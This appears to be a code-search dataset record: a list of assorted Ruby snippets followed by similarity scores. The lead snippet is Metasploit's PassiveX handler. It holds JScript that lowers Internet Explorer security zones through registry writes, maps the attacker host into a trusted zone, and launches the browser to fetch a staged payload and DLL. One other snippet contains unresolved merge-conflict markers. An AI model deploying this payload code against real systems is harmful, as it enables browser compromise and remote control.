WshShell.RegWrite(regIntranet + \"1200\",0,\"REG_DWORD\");\n WshShell.RegWrite(regIntranet + \"1201\",0,\"REG_DWORD\");\n WshShell.RegWrite(regIntranet + \"1208\",0,\"REG_DWORD\");\n\n //Map IP to the newly modified zone.\n WshShell.RegWrite(regRange,1,\"REG_SZ\");\n WshShell.RegWrite(regRange + \":Range\",\"#{datastore['PXHOST']}\",\"REG_SZ\");\n WshShell.RegWrite(regRange + \"*\",1,\"REG_DWORD\");\n WshShell.RegWrite(regRange + \"marker\",1,\"REG_DWORD\"); //Just a marker\n\n //Clean up after the original passivex stage1 loader; reset to default IE7 install\n var regDefault = \"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Internet Settings\\\\\\\\Zones\\\\\\\\3\\\\\\\\\";\n WshShell.RegWrite(regDefault + \"1001\",1,\"REG_DWORD\");\n WshShell.RegWrite(regDefault + \"1004\",3,\"REG_DWORD\");\n WshShell.RegWrite(regDefault + \"1200\",0,\"REG_DWORD\");\n WshShell.RegWrite(regDefault + \"1201\",3,\"REG_DWORD\");\n\n //Clean up and delete the created entries\n setTimeout('WshShell.RegDelete(regIntranet + \"1001\")', 60000);\n setTimeout('WshShell.RegDelete(regIntranet + \"1004\")', 60000);\n setTimeout('WshShell.RegDelete(regIntranet + \"1200\")', 60000);\n setTimeout('WshShell.RegDelete(regIntranet + \"1201\")', 60000);\n setTimeout('WshShell.RegDelete(regIntranet + \"1208\")', 60000);\n setTimeout('WshShell.RegDelete(regRange)', 60000);\n\n WshShell.Run(\"iexplore.exe -new http://#{datastore['PXHOST']}:#{datastore['PXPORT']}#{datastore['PXURI']}\",0,false);\n}\n</script>\n</html>^\n\n\t\t\t\t# Create a new local PX session with the supplied sid\n\t\t\t\tnew_session_channel(nsid)\n\t\t\t\t\n\t\t\t\tprint_status(\"Sending PassiveX main page to client\")\n\t\t\twhen \"/passivex.dll\"\n\t\t\t\tresp['Content-Type'] = 'application/octet-stream'\n\t\t\t\tresp.body = ''\n\t\t\t\t\n\t\t\t\tFile.open(dll_path, \"rb\") { |f|\n\t\t\t\t\tresp.body = f.read\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tprint_status(\"Sending PassiveX DLL (#{resp.body.length} bytes)\")\n\t\t\twhen \"/stage\"\n\t\t\t\tresp.body = generate_stage\n\n\t\t\t\t# Now that we've transmitted a second stage, it's time to indicate\n\t\t\t\t# that we've found a new session. We call handle_connection using\n\t\t\t\t# the lsock of the local stream.\n\t\t\t\tif (s = find_session_channel(sid))\n\t\t\t\t\tThread.new {\n\t\t\t\t\t\tbegin\n\t\t\t\t\t\t\ts.remote = cli\n\t\t\t\t\t\t\thandle_connection(s.lsock)\n\t\t\t\t\t\trescue ::Exception\n\t\t\t\t\t\t\telog(\"Exception raised during PX handle connection: #{$!}\", 'core', LEV_1)\n\n\t\t\t\t\t\t\tdlog(\"Call stack:\\n#{$@.join(\"\\n\")}\", 'core', LEV_3)\n\t\t\t\t\t\tend\n\t\t\t\t\t}\n\t\t\t\tend\n\n\t\t\t\tprint_status(\"Sending stage to sid #{sid} (#{resp.body.length} bytes)\")\n\t\t\twhen \"/tunnel_in\"\n\t\t\t\ts.write_local(req.body) if (s = find_session_channel(sid))\n\t\t\twhen \"/tunnel_out\" \n\t\t\t\tcli.keepalive = true\n\t\t\t\tresp = nil\n\t\t\t\ts.remote = cli if (s = find_session_channel(sid))\n\t\t\telse\n\t\t\t\tresp.code = 404\n\t\t\t\tresp.message = \"Not found\"\n\t\tend\n\n\t\tcli.send_response(resp) if (resp)\n\tend", "def set_proxy_config\n http_proxy \"http://127.0.0.1:3128\"\n https_proxy \"http://127.0.0.1:3128\"\n ftp_proxy \"http://127.0.0.1:3128\"\nend", "def asset_host=(_arg0); end", "def asset_host=(_arg0); end", "def setup_handler\n\t\t# Start the HTTP server service on this host/port\n\t\tself.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,\n\t\t\tdatastore['PXPORT'].to_i, datastore['PXHOST'])\n\n\t\t# Add the new resource\n\t\tservice.add_resource(datastore['PXURI'],\n\t\t\t'Proc' => Proc.new { |cli, req|\n\t\t\t\ton_request(cli, req)\n\t\t\t},\n\t\t\t'VirtualDirectory' => true)\n\n\t\tdlog(\"PassiveX listener started on http://#{datastore['PXHOST']}:#{datastore['PXPORT']}#{datastore['PXURI']}\", 'core', LEV_2)\n\n\t\tprint_status(\"PassiveX listener started.\")\n\tend", "def proxy_google(path)\n res = Net::HTTP.start('www.google.com', 80) do |http|\n http.get path\n end\n res.body\nend", "def start\n if running?\n stop\n else\n File.unlink(\"#{@server_root}/httpd.pid\") rescue nil\n end\n\n if @codesigning_identity\n system \"codesign\", \"-s\", @codesigning_identity, \"--keychain\", File.expand_path(\"~/Library/Keychains/login.keychain-db\"), @mod_passenger\n end\n\n if File.exist?(@server_root)\n FileUtils.rm_r(@server_root)\n end\n FileUtils.mkdir_p(@server_root)\n write_config_file\n FileUtils.cp(\"#{STUB_DIR}/mime.types\", @server_root)\n\n command = [PlatformInfo.httpd, \"-f\", \"#{@server_root}/httpd.conf\", \"-k\", \"start\"]\n if boolean_option('VALGRIND')\n command = ['valgrind', '--dsymutil=yes', '--vgdb=yes',\n '--vgdb-error=1', '--trace-children=no'] + command\n end\n\n if !system(*command)\n raise \"Could not start an Apache server.\"\n end\n\n begin\n # Wait until the PID file has been created.\n Timeout::timeout(20) do\n while !File.exist?(\"#{@server_root}/httpd.pid\")\n sleep(0.1)\n end\n end\n # Wait until Apache is listening on the server port.\n Timeout::timeout(7) do\n done = false\n while !done\n begin\n socket = TCPSocket.new('localhost', @port)\n socket.close\n done = true\n rescue Errno::ECONNREFUSED\n sleep(0.1)\n end\n end\n end\n rescue Timeout::Error\n raise \"Could not start an Apache server.\"\n end\n Dir[\"#{@server_root}/*\"].each do |filename|\n if File.file?(filename)\n File.chmod(0666, filename)\n end\n end\n end", "def server_root\r\n File.expand_path(\"#{rails_root}/public/\")\r\n end", "def rserve_setup\n # Connect to Rserve and verify connection\n @rserve = Rserve::Simpler.new\n v = @rserve.eval(\"R.version.string\");\n puts \"Connected to #{v.as_string}\"\n # Set working directory.\n @rserve.eval(\"setwd('#{Dir.pwd}')\")\n contents = File.read('plot.R')\n @rserve.eval(contents)\n end", "def nginx_send_file(file)\n headers['X-Accel-Redirect'] = File.expand_path(file)\n return\n end", "def serve(file, &block)\n markup = read_markup(map_to_file(file))\n base_path = File.dirname(file)\n \n process(markup, base_path, &block)\n end", "def xhtml_file\n new_or_existing_file 'hello.xhtml', 'application/xhtml+xml', 1.megabyte\n end", "def vlc(*args)\n if args.size > 0\n m3ufile = @playlist.gen_m3u\n else\n m3ufile = Song.gen_m3u(@cursong.artist, [@cursong.info])\n end\n Pf.system(\"open -a vlc '#{m3ufile}'\", 1)\n end", "def show\n redirect_to Shrine.storages[:store].url(\"models/#{@model_version.id}/artifacts4/#{params[\"filepath\"]}\")\n end", "def setup\n size 1024,768,P3D\n background 0\n\n @context = SimpleOpenNI.new(self)\n @zoomF =0.5\n @rotX = radians(180) # by default rotate the hole scene 180deg around the x-axis, \n # the data from openni comes upside down\n @rotY = radians(0)\n\n if !@context.isInit\n puts \"Can't init SimpleOpenNI, maybe the camera is not connected!\"\n exit\n end\n\n # disable mirror\n @context.setMirror(false)\n\n # enable depthMap generation \n @context.enableDepth()\n\n # enable skeleton generation for all joints\n @context.enableUser()\n\n stroke(255,255,255)\n smooth()\nend", "def view(file_or_dir, options)\n device = options[:device]\n password = options[:password]\n url = options[:url]\n\n if url\n Airplay.configure { |c| c.autodiscover = false }\n device = Airplay.devices.add(\"Apple TV\", url)\n end\n device.password = password if password\n\n viewer = ImageViewer.new(device, options)\n\n if File.directory?(file_or_dir)\n files = Dir.glob(\"#{file_or_dir}/*\")\n\n if options[:interactive]\n viewer.interactive(files)\n else\n viewer.slideshow(files)\n end\n else\n viewer.view(file_or_dir)\n sleep\n end\n end", "def Transform3dFromPlane3dToWorld(arg0)\n ret = _invoke(1610744149, [arg0], [VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "def get_svg\n\t expires_in(1.hours, :private => false, :public => true)\n\t source_fedora_object = Multiresimage.find(params[:id])\n\t authorize! :show, source_fedora_object\n\t @svg = source_fedora_object.DELIV_OPS.content()\n gon.url = DIL_CONFIG['dil_js_url']\n respond_to do |wants|\n wants.xml { render :xml => @svg }\n end\n end", "def get_svg\n\t expires_in(1.hours, :private => false, :public => true)\n\t source_fedora_object = Multiresimage.find(params[:id])\n\t authorize! :show, source_fedora_object\n\t @svg = source_fedora_object.DELIV_OPS.content()\n gon.url = DIL_CONFIG['dil_js_url']\n respond_to do |wants|\n wants.xml { render :xml => @svg }\n end\n end", "def start_server\n init \"Postview starting #{@server} on #{@options[:Host]}:#{@options[:Port]}\" do\n ENV['RACK_ENV'] = \"production\"\n config = @config.to_s\n @postview = eval(\"Rack::Builder.new{(\\n#{@source}\\n)}.to_app\", nil, config)\n @application = Rack::Builder.new do |application|\n use Rack::CommonLogger, STDOUT\n use Rack::ShowExceptions\n run application\n end.to_app\n end\n @server.run(@postview, @options)\n end", "def test_dailymotion_hd\r\n skip \"plugin broken\"\r\n result = `ruby bin/viddl-rb http://www.dailymotion.com/video/xskcnf_make-kanye-famous-kony-2012-parody_fun --url-only`\r\n assert_equal $?, 0\r\n can_download_test(result) { |url_output| http_code_grabber(CGI::unescape(url_output)) }\r\n end", "def open_dex\n call_scene(Dex)\n end", "def viewer( pdf )\n\tProcess.fork do\n\t\tENV['DISPLAY'] = ':0.1'\n\t\texec \"evince #{pdf}\"\n\tend if `lsof #{pdf}`.empty?\nend", "def start_webserver()\n server = TCPServer.new('localhost', DEFAULT_PORT)\n puts \"Vision server running on http://localhost:#{DEFAULT_PORT}/\"\n while session = server.accept\n time = Time.new\n puts \"New connection #{time.inspect}\"\n if File.exist?(DEFAULT_HTML_PATH) && !File.directory?(DEFAULT_HTML_PATH)\n File.open(DEFAULT_HTML_PATH, \"rb\") do |file|\n session.print \"HTTP/1.1 200 OK\\r\\n\" +\n \"Content-Type: text/html\\r\\n\" +\n \"Content-Length: #{file.size}\\r\\n\" +\n \"Connection: close\\r\\n\"\n\n session.print \"\\r\\n\"\n\n # write the contents of the file to the session\n IO.copy_stream(file, session)\n end\n else\n message = \"HTML File not found\\n\"\n # respond with a 404 error code to indicate the file does not exist\n session.print \"HTTP/1.1 404 Not Found\\r\\n\" +\n \"Content-Type: text/plain\\r\\n\" +\n \"Content-Length: #{message.size}\\r\\n\" +\n \"Connection: close\\r\\n\"\n\n session.print \"\\r\\n\"\n session.print message\n end\n end\nend", "def Transform3dFromWorldToPlane3d(arg0)\n ret = _invoke(1610744148, [arg0], [VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "def get_nokogiri(path)\n uri = URI.join('https://stellar.mit.edu', path)\n raw_html = @mech.get_file uri\n Nokogiri.HTML raw_html, uri.to_s\n end", "def songs\n<<<<<<< HEAD\n file=\"#{Rails.root}/public/#{params[:user_id]}/#{params[:file]}.#{params[:ext]}\"\n if File.exists?(file)\n send_file(\n file,\n filename: \"#{params[:file_name]}\",\n type: \"application/mp3\"\n )\n else\n render nothing: true\n end\n=======\n send_file(\n \"#{Rails.root}/public/#{params[:user_id]}/#{params[:file]}.#{params[:ext]}\",\n filename: \"#{params[:file_name]}\",\n type: \"application/mp3\"\n )\n>>>>>>> b71dc3f177d170c9fc8bde7924fd28f948e88acc\n end", "def install_frontends\n package 'nginx'\n end", "def completeOctodex\n\t\tcURL($baseURL)\n\tend", "def serve_public_assets\n set :root, File.expand_path(File.join(File.dirname(settings.app_file), '..'))\n set :public_folder, 'public'\n end", "def index\n dir = Pathname.new(File.expand_path(shift_argument || \".\")).realpath.to_s\n app = options[:app] || error(\"Must specify a development app with -a\")\n validate_arguments!\n\n user = api.post_login(\"\", Heroku::Auth.password).body[\"email\"]\n\n Anvil.append_agent \"interface=start user=#{user} app=#{app}\"\n\n slug_url = Anvil::Engine.build(dir, :buildpack => options[:buildpack])\n\n action(\"Preparing development dyno on #{app}\") do\n heroku.release(app, \"Initial development dyno sync\", :slug_url => development_dyno_slug_url){\n print \".\"\n $stdout.flush\n }\n end\n\n build_env = {\n \"ANVIL_HOST\" => ENV[\"ANVIL_HOST\"] || \"https://api.anvilworks.org\",\n \"BUILDPACK_URL\" => prepare_buildpack(options[:buildpack]),\n \"SLUG_URL\" => slug_url\n }\n\n develop_options = build_env.inject({}) do |ax, (key, val)|\n ax.update(\"ps_env[#{key}]\" => val)\n end\n\n process = action(\"Starting development dyno\") do\n status \"http://localhost:9000\"\n run_attached app, \"bin/development-dyno\", develop_options\n end\n\n client_to_dyno = pipe\n dyno_to_client = pipe\n\n client = Distributor::Client.new(dyno_to_client.first, client_to_dyno.last)\n\n client.on_hello do\n client.run(\"/app/vendor/bundle/ruby/1.9.1/bin/foreman start -c -p 5000\") do |ch|\n client.hookup ch, $stdin.dup, $stdout.dup\n client.on_close(ch) { shutdown(app, process[\"process\"]) }\n end\n\n start_file_watcher client, dir\n start_console_server client, dir\n start_http_tunnel client, 5000, 9000\n end\n\n client.on_command do |command, data|\n case command\n when /file.*/\n # sync complete messages\n when \"error\"\n error data[\"message\"]\n end\n end\n\n Thread.abort_on_exception = true\n\n rendezvous = Heroku::Client::Rendezvous.new(\n :rendezvous_url => process[\"rendezvous_url\"],\n :connect_timeout => 120,\n :activity_timeout => nil,\n :input => client_to_dyno.first,\n :output => dyno_to_client.last\n )\n\n rendezvous.on_connect do\n Thread.new { client.start }\n end\n\n Signal.trap(\"INT\") do\n shutdown(app, process[\"process\"])\n end\n\n begin\n $stdin.sync = $stdout.sync = true\n set_buffer false\n rendezvous.start\n rescue Timeout::Error\n error \"\\nTimeout awaiting process\"\n rescue Errno::ECONNREFUSED, Errno::ECONNRESET, OpenSSL::SSL::SSLError\n error \"\\nError connecting to process\"\n rescue Interrupt\n ensure\n set_buffer true\n end\n end", "def fedora_content_url pid, datastream_name\n\n return serve_datastream_content_url :id=>pid, :datastream_id=>datastream_name \n\n# begin\n# base_url = ActiveFedora.fedora().connection.config[:url]\n# rescue\n# base_url = \"http://localhost:8983/fedora\"\n# end\n# \"#{base_url}/get/#{pid}/#{datastream_name}\"\n end", "def serve\n server_options = {}\n options.each { |k, v| server_options[k.to_sym] = v }\n server_options[:server] = {}\n [:port, :handler, :host].each do |k|\n server_options[:server][k] = server_options.delete(k) if server_options.key?(k)\n end\n\n @project.server.set_options(server_options[:server])\n end", "def run!\n\t\t\tcatch :halt do\n\t\t\t\tvalidate_request\n\n\t\t\t\ttry_options ||\n\t\t\t\t\ttry_static ||\n\t\t\t\t\ttry_static(dir: GEM_STATIC_FILES) ||\n\t\t\t\t\ttry_route ||\n\t\t\t\t\thalt(404)\n\t\t\tend\n\t\t\tresponse.write body unless request.head?\n\t\t\tresponse.finish\n\t\tend", "def create_proxy_for_url(url)\n unless url.match ':'\n unless url.start_with? '/'\n # relative\n ap = @repository.path(@content_descriptor)\n url = File.join(File.dirname(ap), url)\n end\n url = @repository.get_url_for_path(url)\n end\n @repository.create_content_proxy_for(url)\n end", "def download\n @route.update_last_download_at\n file = @route.gpx\n\n send_file(file)\n end", "def index\n @staticdcs = Staticdc.all\n @sdc_dir = \"/usr/local/projects/pdf_test/\"\n @public_pdf_address = display_pdfs(\"public\")\n # @uva_pdf_address = display_pdfs(uva)\n\n end", "def view\n\t `ruby #{File.dirname(__FILE__) + \"/viewer/viewer.rb\"}`\n end", "def nexus\n client = HTTPClient.new\n client.send_timeout = 600\n client.receive_timeout = 600\n # https://github.com/nahi/httpclient/issues/63\n client.set_auth(nil, configuration['username'], configuration['password'])\n client.www_auth.basic_auth.challenge(configuration['url'])\n client.ssl_config.verify_mode = OpenSSL::SSL::VERIFY_NONE unless @ssl_verify\n return client\n end", "def standard_domain_setup(domain)\n set_appserver_domain_template(domain)\n set_user_prefs_dir(domain)\n set_tmpdir(domain)\n disable_update_tool(domain)\n enable_implicit_cdi(domain)\n setup_default_admin(domain)\n add_default_file_realm(domain, 'file')\n set_default_auth_realm(domain, 'file')\n disable_classloading_delegation(domain)\n disable_autodeploy(domain)\n disable_dynamic_reload(domain)\n disable_non_portable_jndi_names(domain)\n domain.ports << 8080\n end", "def mirror_public!\n mirror_files_for mirrored_public_components\n end", "def serve_from_remote!\n uri = URI.parse(request.uri)\n\n req = Net::HTTP::Get.new(uri.path)\n req.initialize_http_header(request.options)\n http_response = Net::HTTP.new(uri.host, uri.port).start do |http|\n http.open_timeout = http.read_timeout = ::SETTINGS['http_timeout']\n http.request(req)\n end\n\n response = wrap_response(http_response)\n if response.cacheable?\n puts \"\\nCaching '#{request.uri}'\" if ::SETTINGS['debug']\n TinyProxy::Cache.add(request.uri, response)\n end\n response\n rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, SocketError,\n Net::HTTPBadResponse, Net::HTTPHeaderSyntaxError, Net::ProtocolError => e\n puts \"NetHTTP Error occured\"\n error_response(e.message)\n end", "def start\n FCGI.each do |req|\n dir, app = nil\n begin\n root, path = \"/\"\n if ENV['FORCE_ROOT'] and ENV['FORCE_ROOT'].to_i == 1\n path = req.env['REQUEST_URI']\n else\n root = req.env['SCRIPT_NAME']\n path = req.env['PATH_INFO']\n end\n\n dir, app = @mounts.max { |a,b| match(path, a[0]) <=> match(path, b[0]) }\n unless dir and app\n dir, app = '/', Camping\n end\n yield dir, app if block_given?\n\n req.env['SERVER_SCRIPT_NAME'] = req.env['SCRIPT_NAME']\n req.env['SERVER_PATH_INFO'] = req.env['PATH_INFO']\n req.env['SCRIPT_NAME'] = File.join(root, dir)\n req.env['PATH_INFO'] = path.gsub(/^#{dir}/, '')\n\n controller = app.run(req.in, req.env)\n sendfile = nil\n headers = {}\n controller.headers.each do |k, v|\n if k =~ /^X-SENDFILE$/i and !ENV['SERVER_X_SENDFILE']\n sendfile = v\n else\n headers[k] = v\n end\n end\n\n body = controller.body\n controller.body = \"\"\n controller.headers = headers\n\n req.out << controller.to_s\n if sendfile\n File.open(sendfile, \"rb\") do |f|\n while chunk = f.read(CHUNK_SIZE) and chunk.length > 0\n req.out << chunk\n end\n end\n elsif body.respond_to? :read\n while chunk = body.read(CHUNK_SIZE) and chunk.length > 0\n req.out << chunk\n end\n body.close if body.respond_to? :close\n else\n req.out << body.to_s\n end\n rescue Exception => e\n req.out << \"Content-Type: text/html\\r\\n\\r\\n\" +\n \"<h1>Camping Problem!</h1>\" +\n \"<h2><strong>#{root}</strong>#{path}</h2>\" + \n \"<h3>#{e.class} #{esc e.message}</h3>\" +\n \"<ul>\" + e.backtrace.map { |bt| \"<li>#{esc bt}</li>\" }.join + \"</ul>\" +\n \"<hr /><p>#{req.env.inspect}</p>\"\n ensure\n req.finish\n end\n end\n end", "def test_xmlrpc_server\r\n require \"XRserver\"\r\n end", "def rails(port, num)\n pputs \"upstream #{port}_cluster {\"\n num.times {|i| pputs \" server 127.0.0.1:#{port+i};\"}\n pputs \"}\\n\"\n\n oputs <<-eos\n location / {\n proxy_set_header X-Real-IP $remote_addr;\n proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n proxy_set_header Host $http_host;\n proxy_redirect off;\n\n if (-f $request_filename/index.html) {\n rewrite (.*) $1/index.html break;\n }\n\n if (-f $request_filename.html) {\n rewrite (.*) $1.html break;\n }\n\n if (!-f $request_filename) {\n proxy_pass http://#{port}_cluster;\n break;\n }\n }\n eos\nend", "def preview(argv)\n parser.banner = \"Usage: smeagol-preview [OPTIONS]\\n\"\n\n parser.on('--port [PORT]', 'Bind port (default 4567).') do |port|\n options[:port] = port.to_i\n end\n\n parser.on('--[no-]cache', 'Enables page caching.') do |flag|\n options[:cache] = flag\n end\n\n parser.on('--mount-path', 'Serve website from this base path.') do |path|\n options[:mount_path] = path\n end\n\n #parser.on('--auto-update', 'Updates the repository on a daily basis.') do |flag|\n # options[:auto_update] = flag\n #end\n\n #parser.on('--secret [KEY]', 'Specifies the secret key used to update.') do |str|\n # options[:secret] = str\n #end\n\n $stderr.puts \"Starting preview...\"\n\n Console.preview(*parse(argv))\n end", "def start_webserver\n stop_webserver\n Webserver.run!\n end", "def using_proxy?; end", "def setup\r\n setup_wiki\r\n setup_host_map\r\n setup_host\r\n end", "def x_sendfile(path, options = {})\n if behind_apache? or behind_nginx? or params['x_sendfile']\n headers['X-Sendfile'] = File.expand_path(path)\n end\n send_file(path, options)\n end", "def x_sendfile(path, options = {})\n if behind_apache? or behind_nginx? or params['x_sendfile']\n headers['X-Sendfile'] = File.expand_path(path)\n end\n send_file(path, options)\n end" ]
[ "0.50478256", "0.50478256", "0.49866343", "0.49134192", "0.48859057", "0.4842553", "0.47938356", "0.47938356", "0.46422634", "0.46160978", "0.46122935", "0.45976636", "0.45743403", "0.45290786", "0.4522045", "0.4508615", "0.44929716", "0.4410881", "0.44010726", "0.4386273", "0.4385254", "0.43823087", "0.43762067", "0.43417698", "0.43347642", "0.43308267", "0.4322106", "0.43198374", "0.4315875", "0.43123305", "0.43103784", "0.4303153", "0.4299697", "0.42876938", "0.42755637", "0.4269113", "0.4253295", "0.4252879", "0.42526916", "0.42484796", "0.4246299", "0.424008", "0.42320615", "0.42307857", "0.42249724", "0.4223191", "0.42181244", "0.4211451", "0.4210824", "0.42103294", "0.4208502", "0.42065096", "0.42065096", "0.4204335", "0.41946027", "0.4191523", "0.41869545", "0.41850832", "0.41772768", "0.4175695", "0.4170693", "0.41656053", "0.41637358", "0.4161027", "0.41595304", "0.415313", "0.41507235", "0.41507235", "0.4148202", "0.41471717", "0.41464254", "0.41452354", "0.41430995", "0.4139333", "0.4136512", "0.41332486", "0.41269088", "0.41248417", "0.4124056", "0.41238338", "0.4107722", "0.41043603", "0.4102183", "0.41020742", "0.40974277", "0.40936616", "0.4091752", "0.40848842", "0.40837613", "0.40829077", "0.4081396", "0.4079875", "0.40769204", "0.4074125", "0.40726176", "0.406561", "0.40628996", "0.40614998", "0.4059972", "0.4059972" ]
0.6053656
0